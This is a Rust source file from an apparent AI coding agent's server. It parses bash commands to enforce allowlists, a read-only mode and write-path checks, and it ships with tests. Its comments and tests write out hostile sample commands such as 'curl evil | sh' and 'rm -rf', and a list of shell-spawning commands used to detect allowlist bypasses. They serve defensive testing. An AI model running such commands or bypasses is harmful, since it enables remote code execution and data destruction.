Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7/// Replace supplementary-plane code points (>= U+10000, i.e. 4-byte UTF-8) with
8/// U+FFFD before handing text to tree-sitter-bash.
9///
10/// The grammar's C external scanner reads out of bounds on a supplementary-plane
11/// char next to brace context and SIGSEGVs the process — a fatal, NON-deterministic
12/// crash (verified by fuzzing: BMP input never triggered it; supplementary input
13/// crashed ~64% of the time). Under `panic = "abort"` that segfault takes the whole
14/// MCP server down, so a single crafted `BashCommand` is a remote denial of service.
15///
16/// We only parse for *structure* (statement count, command names), so swapping these
17/// rare chars for U+FFFD is invisible to the caller: `bash -n` and the actual
18/// execution still see the original command (emoji and all). Returns `Cow::Borrowed`
19/// for the overwhelmingly common all-BMP case, so there's no cost on the hot path.
20fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21    if command.chars().any(|c| c as u32 >= 0x1_0000) {
22        Cow::Owned(
23            command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24        )
25    } else {
26        Cow::Borrowed(command)
27    }
28}
29
30/// Validate that `command` is a single top-level bash statement.
31///
32/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
33/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
34/// the syntax is actually valid (the grammar lags real bash). That spawns a
35/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
36/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
37/// vet a command, so tree-sitter's verdict is final there.
38pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39    let trimmed = command.trim();
40    if trimmed.is_empty() {
41        return Ok(());
42    }
43    if trimmed.contains('\0') {
44        return Err(WinxError::CommandExecutionError(
45            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46        ));
47    }
48
49    // Parse a copy with supplementary-plane chars neutralized (see
50    // `neutralize_supplementary`): tree-sitter-bash segfaults on them. `bash -n`
51    // below and the eventual execution still see the original `trimmed`.
52    let parse_src = neutralize_supplementary(trimmed);
53
54    let mut parser = Parser::new();
55    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56    parser.set_language(&language).map_err(|error| {
57        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58    })?;
59
60    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62    })?;
63    let root = tree.root_node();
64
65    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66        return Err(WinxError::CommandExecutionError(
67            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68        ));
69    }
70
71    // `parse_src` (not `trimmed`): the node byte offsets index the parsed string.
72    let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74    if statement_count > 1 && !trimmed.contains('\n') {
75        return Err(WinxError::CommandExecutionError(
76            "Command should contain a single top-level bash statement. Fix one of three ways: \
77             send one statement per call; put each statement on its own line (multiline is \
78             allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
79             \"allow_multi\": true} when the composite is intentional."
80                .to_string(),
81        ));
82    }
83
84    Ok(())
85}
86
87/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
88/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
89/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
90/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
91/// shell out to vet a command.
92fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
93    allow_shell_probe && bash_accepts_syntax(command)
94}
95
96fn bash_accepts_syntax(command: &str) -> bool {
97    // Without a usable bash (native Windows without Git for Windows) the
98    // grammar's verdict stands: never rescue a rejected command blindly.
99    let Some(bash) = crate::utils::executable::bash_executable() else { return false };
100    std::process::Command::new(bash)
101        .arg("-n")
102        .arg("-c")
103        .arg(command)
104        .stdin(std::process::Stdio::null())
105        .stdout(std::process::Stdio::null())
106        .stderr(std::process::Stdio::null())
107        .status()
108        .is_ok_and(|status| status.success())
109}
110
111#[derive(Debug, Clone)]
112struct StatementNode {
113    kind: String,
114    start_byte: usize,
115    end_byte: usize,
116}
117
118fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
119    let mut statements = Vec::new();
120    collect_statement_nodes(root, &mut statements);
121
122    statements
123        .iter()
124        .filter(|stmt| stmt.kind != "comment")
125        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
126        .count()
127}
128
129fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
130    if is_statement_node(node.kind()) {
131        statements.push(StatementNode {
132            kind: node.kind().to_string(),
133            start_byte: node.start_byte(),
134            end_byte: node.end_byte(),
135        });
136    }
137
138    let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
139    for index in 0..child_count {
140        if let Some(child) = node.named_child(index) {
141            collect_statement_nodes(child, statements);
142        }
143    }
144}
145
146fn is_statement_node(kind: &str) -> bool {
147    matches!(
148        kind,
149        "command"
150            | "variable_assignment"
151            | "declaration_command"
152            | "unset_command"
153            | "comment"
154            | "for_statement"
155            | "c_style_for_statement"
156            | "while_statement"
157            | "if_statement"
158            | "case_statement"
159            | "function_definition"
160            | "pipeline"
161            | "list"
162            | "compound_statement"
163            | "subshell"
164            | "redirected_statement"
165    )
166}
167
168fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
169    if stmt.start_byte == other.start_byte
170        && stmt.end_byte == other.end_byte
171        && stmt.kind == other.kind
172    {
173        return false;
174    }
175
176    let other_text = &source[other.start_byte..other.end_byte];
177    if other.kind == "list" && other_text.contains(';') {
178        return false;
179    }
180
181    other.start_byte <= stmt.start_byte
182        && other.end_byte >= stmt.end_byte
183        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
184        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
185}
186
187/// Collect the full text of every `command` node in the script.
188///
189/// Descends through pipelines, lists, subshells, command/process substitution,
190/// loops and conditionals, so an allowlist can be enforced against EVERY command
191/// a line would run — not just `command_line.split_whitespace().next()`, which
192/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
193///
194/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
195/// callers treat that as "not allowed" (fail closed). Code hidden inside a
196/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
197/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
198pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
199    let trimmed = command.trim();
200    if trimmed.is_empty() {
201        return Ok(Vec::new());
202    }
203    if trimmed.contains('\0') {
204        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
205    }
206
207    // See `neutralize_supplementary`: parse a sanitized copy so a supplementary
208    // code point can't segfault tree-sitter. The extracted command texts feed the
209    // allowlist, which keys on the (ASCII) command name, so a U+FFFD standing in
210    // for an emoji in some argument doesn't change enforcement.
211    let parse_src = neutralize_supplementary(trimmed);
212
213    let mut parser = Parser::new();
214    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
215    parser.set_language(&language).map_err(|error| {
216        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
217    })?;
218
219    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
220        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
221    })?;
222    let root = tree.root_node();
223    if root.has_error() {
224        return Err(WinxError::CommandExecutionError(
225            "Command could not be parsed for allowlist enforcement.".to_string(),
226        ));
227    }
228
229    let mut texts = Vec::new();
230    collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
231    Ok(texts)
232}
233
234/// Return statically visible filesystem destinations written by a shell command.
235///
236/// This is deliberately conservative: dynamic expansions are ignored instead of
237/// guessed, while output redirects and common file-producing commands expose
238/// their literal destinations. Callers use the result for narrow path-policy
239/// checks, never as a general shell sandbox.
240pub fn extract_static_write_paths(command: &str) -> Vec<String> {
241    let trimmed = command.trim();
242    if trimmed.is_empty() || trimmed.contains('\0') {
243        return Vec::new();
244    }
245
246    let parse_src = neutralize_supplementary(trimmed);
247    let mut parser = Parser::new();
248    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
249    if parser.set_language(&language).is_err() {
250        return Vec::new();
251    }
252    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
253
254    let mut paths = Vec::new();
255    collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
256    paths.sort();
257    paths.dedup();
258    paths
259}
260
261fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
262    match node.kind() {
263        "file_redirect" => collect_redirect_destination(node, src, out),
264        "command" => collect_command_destinations(node, src, out),
265        _ => {}
266    }
267
268    let mut cursor = node.walk();
269    for child in node.children(&mut cursor) {
270        collect_static_write_paths(child, src, out);
271    }
272}
273
274fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
275    let Some(destination) = node.child_by_field_name("destination") else { return };
276    let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
277    let Ok(redirect) = node.utf8_text(src) else { return };
278    let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
279    if !prefix.contains('>') {
280        return;
281    }
282    if let Ok(text) = destination.utf8_text(src) {
283        push_static_shell_word(text, out);
284    }
285}
286
287fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
288    let Some(name) = node.child_by_field_name("name") else { return };
289    let Ok(name) = name.utf8_text(src) else { return };
290    let Some(name) = static_shell_word(name) else { return };
291    let name = std::path::Path::new(&name)
292        .file_name()
293        .and_then(std::ffi::OsStr::to_str)
294        .unwrap_or(name.as_str());
295
296    let mut cursor = node.walk();
297    let arguments = node
298        .children_by_field_name("argument", &mut cursor)
299        .filter_map(|argument| argument.utf8_text(src).ok())
300        .filter_map(static_shell_word)
301        .collect::<Vec<_>>();
302    let positional =
303        arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
304
305    match name {
306        "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
307            out.extend(positional);
308        }
309        "cp" | "mv" | "install" | "ln" => {
310            if let Some(destination) = positional.last() {
311                out.push(destination.clone());
312            }
313            for argument in &arguments {
314                if let Some(destination) = argument.strip_prefix("--target-directory=") {
315                    out.push(destination.to_string());
316                }
317            }
318        }
319        "dd" => {
320            for argument in &arguments {
321                if let Some(destination) = argument.strip_prefix("of=") {
322                    out.push(destination.to_string());
323                }
324            }
325        }
326        "sed" | "perl"
327            if arguments.iter().any(|argument| {
328                argument == "-i"
329                    || argument.starts_with("-i")
330                    || argument == "-pi"
331                    || argument.starts_with("-pi")
332            }) =>
333        {
334            out.extend(positional);
335        }
336        _ => {}
337    }
338}
339
340fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
341    if let Some(word) = static_shell_word(text) {
342        out.push(word);
343    }
344}
345
346fn static_shell_word(text: &str) -> Option<String> {
347    let text = text.trim();
348    if text.is_empty() {
349        return None;
350    }
351
352    let bytes = text.as_bytes();
353    let unquoted = if bytes.len() >= 2
354        && matches!(
355            (bytes.first(), bytes.last()),
356            (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
357        ) {
358        &text[1..text.len() - 1]
359    } else {
360        text
361    };
362    let known_temp_path = unquoted == "$WINX_TEMP_DIR"
363        || unquoted == "${WINX_TEMP_DIR}"
364        || unquoted.starts_with("$WINX_TEMP_DIR/")
365        || unquoted.starts_with("${WINX_TEMP_DIR}/");
366    if unquoted.is_empty()
367        || unquoted.contains('`')
368        || unquoted.contains('*')
369        || unquoted.contains('?')
370        || (unquoted.contains('$') && !known_temp_path)
371        || (known_temp_path
372            && unquoted
373                .trim_start_matches("${WINX_TEMP_DIR}")
374                .trim_start_matches("$WINX_TEMP_DIR")
375                .contains('$'))
376    {
377        None
378    } else {
379        Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
380    }
381}
382
383fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
384    if node.kind() == "command" {
385        if let Ok(text) = node.utf8_text(src) {
386            out.push(text.to_string());
387        }
388    }
389    let mut cursor = node.walk();
390    for child in node.children(&mut cursor) {
391        collect_command_texts(child, src, out);
392    }
393}
394
395/// Commands that can execute arbitrary code passed as a string argument.
396///
397/// If a `code_writer` allowlist permits any of these, the allowlist is
398/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
399/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
400/// can't inspect the code hidden inside. This list backs an advisory warning,
401/// not enforcement — enforcement stays fail-closed regardless.
402pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
403    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
404    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
405    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
406];
407
408/// Commands exposed by architect mode. This deliberately omits general-purpose
409/// interpreters and utilities with write/exec primitives (`sed`, `awk`, `find`,
410/// `tee`, ...). Bash restricted mode is only defense in depth: it does not make
411/// ordinary commands such as `touch` or `rm` read-only.
412pub const ARCHITECT_COMMANDS: &[&str] = &[
413    "pwd",
414    "ls",
415    "rg",
416    "grep",
417    "head",
418    "tail",
419    "wc",
420    "stat",
421    "file",
422    "readlink",
423    "realpath",
424    "basename",
425    "dirname",
426    "printf",
427    "echo",
428    "type",
429    "which",
430    "uname",
431    "date",
432    "id",
433    "whoami",
434    "du",
435    "df",
436    "tree",
437    "git status",
438    "git diff",
439    "git log",
440    "git show",
441    "git ls-files",
442    "git grep",
443    "git rev-parse",
444    "git branch --show-current",
445];
446
447pub fn architect_allowed_commands() -> Vec<String> {
448    ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
449}
450
451/// Fail-closed read-only policy for architect shell commands.
452///
453/// The normal allowlist checks every nested command, but a few nominally
454/// read-only programs have options that execute helpers or write files. Validate
455/// those options here as well so `rg --pre`, `git diff --ext-diff`, and
456/// `git show --output=...` cannot turn the architect shell into a mutation path.
457pub fn is_architect_command_allowed(command_line: &str) -> bool {
458    if contains_file_redirect(command_line) {
459        return false;
460    }
461    let Ok(commands) = extract_command_texts(command_line) else { return false };
462    !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
463}
464
465/// Reject shell-managed file redirects in architect mode. Even a harmless
466/// command such as `echo` or `git diff` becomes a write primitive when followed
467/// by `> file`; checking command names alone cannot see that side effect.
468fn contains_file_redirect(command: &str) -> bool {
469    let parse_src = neutralize_supplementary(command.trim());
470    let mut parser = Parser::new();
471    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
472    if parser.set_language(&language).is_err() {
473        return true;
474    }
475    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
476    let root = tree.root_node();
477    root.has_error() || node_tree_contains_kind(root, "file_redirect")
478}
479
480fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
481    if node.kind() == kind {
482        return true;
483    }
484    let mut cursor = node.walk();
485    let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
486    found
487}
488
489fn architect_command_is_safe(command: &str) -> bool {
490    let words: Vec<&str> = command.split_whitespace().collect();
491    let Some(program) = words.first().copied() else { return false };
492
493    if program == "git" {
494        let Some(subcommand) = words.get(1).copied() else { return false };
495        if subcommand == "branch" {
496            return words.as_slice() == ["git", "branch", "--show-current"];
497        }
498        if !matches!(
499            subcommand,
500            "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
501        ) {
502            return false;
503        }
504        return !words.iter().skip(2).any(|word| {
505            word.starts_with("--output")
506                || *word == "--ext-diff"
507                || *word == "--textconv"
508                || word.starts_with("--open-files-in-pager")
509        });
510    }
511
512    let allowed = ARCHITECT_COMMANDS
513        .iter()
514        .filter(|entry| !entry.starts_with("git "))
515        .any(|entry| *entry == program);
516    if !allowed {
517        return false;
518    }
519
520    if program == "rg" {
521        return !words.iter().skip(1).any(|word| {
522            word == &"--pre"
523                || word.starts_with("--pre=")
524                || word == &"--hostname-bin"
525                || word.starts_with("--hostname-bin=")
526        });
527    }
528
529    true
530}
531
532/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
533/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
534///
535/// The allowlist matches on command *name*, so we compare the basename of each
536/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
537/// `find -exec rm {} +` all resolve to `find`.
538pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
539    let mut hits: Vec<String> = allowed
540        .iter()
541        .filter_map(|entry| {
542            let first = entry.split_whitespace().next()?;
543            let base = std::path::Path::new(first).file_name()?.to_str()?;
544            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
545        })
546        .collect();
547    hits.sort();
548    hits.dedup();
549    hits
550}
551
552#[cfg(test)]
553mod tests {
554    use super::assert_single_statement;
555    use super::detect_allowlist_bypass;
556    use super::extract_command_texts;
557    use super::extract_static_write_paths;
558    use super::is_architect_command_allowed;
559    use proptest::prelude::*;
560
561    proptest! {
562        /// This gate parses untrusted LLM command strings with tree-sitter; under
563        /// panic=abort, any panic here crashes the server. It must only ever return
564        /// Ok/Err — never panic — for ANY input (incl. multiline, control chars, junk).
565        #[test]
566        fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
567            let _ = assert_single_statement(&cmd, false);
568            let _ = assert_single_statement(&cmd, true);
569        }
570
571        #[test]
572        fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
573            let _ = extract_command_texts(&cmd);
574        }
575
576        #[test]
577        fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
578            let _ = extract_static_write_paths(&cmd);
579        }
580    }
581
582    #[test]
583    fn supplementary_plane_input_does_not_segfault_the_parser() {
584        // Regression: `{` followed by a supplementary-plane code point (>= U+10000)
585        // made tree-sitter-bash's C scanner read out of bounds and SIGSEGV the whole
586        // process (a fatal, non-deterministic DoS under panic=abort). Both parse paths
587        // must now return cleanly. Run the minimal trigger many times to beat the
588        // non-determinism, plus a few representative supplementary chars.
589        for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
590            for _ in 0..40 {
591                let cmd = format!("{{{c}");
592                let _ = assert_single_statement(&cmd, false);
593                let _ = extract_command_texts(&cmd);
594            }
595        }
596    }
597
598    #[test]
599    fn emoji_command_still_validates_as_single_statement() {
600        // The fix sanitizes ONLY the parsed copy, so a legit command carrying an
601        // emoji is still accepted (not rejected) and seen as one statement.
602        assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
603    }
604
605    #[test]
606    fn architect_policy_allows_read_only_exploration() {
607        for command in [
608            "pwd",
609            "rg -n TODO src | head -20",
610            "git status --short",
611            "git diff -- src/lib.rs",
612            "git branch --show-current",
613        ] {
614            assert!(is_architect_command_allowed(command), "should allow: {command}");
615        }
616    }
617
618    #[test]
619    fn architect_policy_blocks_mutation_and_helper_execution() {
620        for command in [
621            "touch owned",
622            "rm file",
623            "sed -i s/a/b/ file",
624            "git checkout -- file",
625            "git diff --output=leak.patch",
626            "git branch --show-current --delete main",
627            "rg --pre 'touch owned' pattern",
628            "rg pattern $(touch owned)",
629            "echo owned > marker",
630            "git diff >> marker",
631            "ls 2> marker",
632        ] {
633            assert!(!is_architect_command_allowed(command), "should reject: {command}");
634        }
635    }
636
637    #[test]
638    fn extracts_nested_commands_for_allowlist() {
639        // Pipelines, && and command substitution must all surface.
640        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
641        assert!(names.iter().any(|c| c.starts_with("ls")));
642        assert!(names.iter().any(|c| c.starts_with("curl")));
643        assert!(names.iter().any(|c| c.starts_with("sh")));
644
645        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
646        assert!(subst.iter().any(|c| c.starts_with("rm")));
647    }
648
649    #[test]
650    fn extracts_literal_shell_write_destinations() {
651        let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
652                       printf x | tee .winx/tmp/direct.ts\n\
653                       cp source.ts .winx/tmp/copied.ts\n\
654                       dd if=source of=.winx/tmp/image.bin";
655        let paths = extract_static_write_paths(command);
656
657        for expected in [
658            ".winx-review-carrier.js",
659            ".winx/tmp/direct.ts",
660            ".winx/tmp/copied.ts",
661            ".winx/tmp/image.bin",
662        ] {
663            assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
664        }
665    }
666
667    #[test]
668    fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
669        let command = "cat .winx-review-carrier.js\n\
670                       rg needle .winx/tmp/direct.ts\n\
671                       printf x > \"$WINX_TEMP_DIR/helper.ts\"";
672        assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
673    }
674
675    #[test]
676    fn accepts_shell_chains_as_single_statement() {
677        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
678    }
679
680    #[test]
681    fn accepts_heredocs_as_single_statement() {
682        let command = "cat <<'EOF'\nhello\nEOF";
683        assert!(assert_single_statement(command, true).is_ok());
684    }
685
686    #[test]
687    fn accepts_for_loop_as_single_compound_statement() {
688        assert!(
689            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
690        );
691    }
692
693    #[test]
694    fn rejects_semicolon_separated_top_level_statements() {
695        assert!(assert_single_statement("pwd; ls", true).is_err());
696    }
697
698    #[test]
699    fn accepts_multiline_scripts() {
700        assert!(assert_single_statement("pwd\nls", true).is_ok());
701    }
702
703    #[test]
704    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
705        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
706        assert!(assert_single_statement(command, true).is_ok());
707    }
708
709    #[cfg(unix)] // probes with a real bash
710    #[test]
711    fn shell_probe_is_gated_to_trusted_mode() {
712        use super::rescued_by_shell_probe;
713        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
714        // pure decision so it doesn't depend on finding a command the embedded
715        // grammar happens to reject — which is the whole point of the gate.
716        //
717        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
718        assert!(rescued_by_shell_probe("echo hi", true));
719        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
720        // it — and crucially we never spawn a shell to find out.
721        assert!(!rescued_by_shell_probe("echo hi", false));
722        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
723        assert!(!rescued_by_shell_probe("echo )(", true));
724    }
725
726    #[test]
727    fn detect_allowlist_bypass_flags_shell_spawners() {
728        let allowed = vec![
729            "ls".to_string(),
730            "bash".to_string(),
731            "cat -n".to_string(),
732            "find . -exec rm {} +".to_string(),
733        ];
734        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
735    }
736
737    #[test]
738    fn detect_allowlist_bypass_clean_list_is_empty() {
739        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
740        assert!(detect_allowlist_bypass(&allowed).is_empty());
741    }
742
743    #[test]
744    fn detect_allowlist_bypass_matches_basename_of_path() {
745        let allowed = vec!["/usr/bin/env python".to_string()];
746        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
747    }
748
749    #[test]
750    fn rejects_nul_with_actionable_message() {
751        let error = match assert_single_statement("printf '\0'", true) {
752            Ok(()) => String::new(),
753            Err(error) => error.to_string(),
754        };
755        assert!(error.contains("NUL byte"));
756        assert!(error.contains("\\\\x00"));
757    }
758}